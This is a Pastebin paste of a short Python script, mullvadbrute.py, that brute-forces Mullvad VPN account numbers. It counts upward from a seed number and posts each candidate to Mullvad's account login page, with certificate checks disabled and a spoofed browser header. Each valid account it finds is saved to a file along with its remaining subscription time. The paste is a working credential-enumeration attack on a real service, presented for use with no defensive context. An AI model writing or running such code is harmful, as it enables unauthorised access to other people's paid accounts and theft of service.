Advertisement
Sweetening

mullvadbrute.py

Feb 7th, 2025
7
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.21 KB | None | 0 0
  1. import requests
  2. import re
  3.  
  4. # Function to process the page and extract data
  5. def page_data(page, data):
  6. print('Successful Login')
  7. print('')
  8. page = page.replace(" ", "").replace("\n", "") # Remove spaces and new lines
  9. # Extract time left from the page content using regex
  10. time = re.search(r'Timeleft:<.strong>(.*?)<.p>', page)
  11. if time:
  12. print(time.group(1))
  13. with open('mullvad.txt', 'a') as write:
  14. write.write(f"Account: {data} {time.group(1)}\n")
  15.  
  16. data = "200875416016"
  17. attempts = 0
  18.  
  19. # Loop for brute-forcing
  20. while True:
  21. url = 'https://mullvad.net/en/account/'
  22. payload = {'account': data}
  23. headers = {'User-Agent': 'Mozilla/5.0'}
  24.  
  25. # Send POST request to Mullvad
  26. response = requests.post(url, data=payload, headers=headers, verify=False)
  27.  
  28. # Print attempt number
  29. attempts += 1
  30. print(f"Attempted Account: {data}")
  31. print(f"Attempts {attempts}")
  32.  
  33. # Check for login failure
  34. if 'Not logged in' in response.text:
  35. print("Failed Login")
  36. elif 'Ports' in response.text:
  37. page_data(response.text, data)
  38.  
  39. # Increment account number for the next attempt
  40. data = str(int(data) + 1)
  41.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement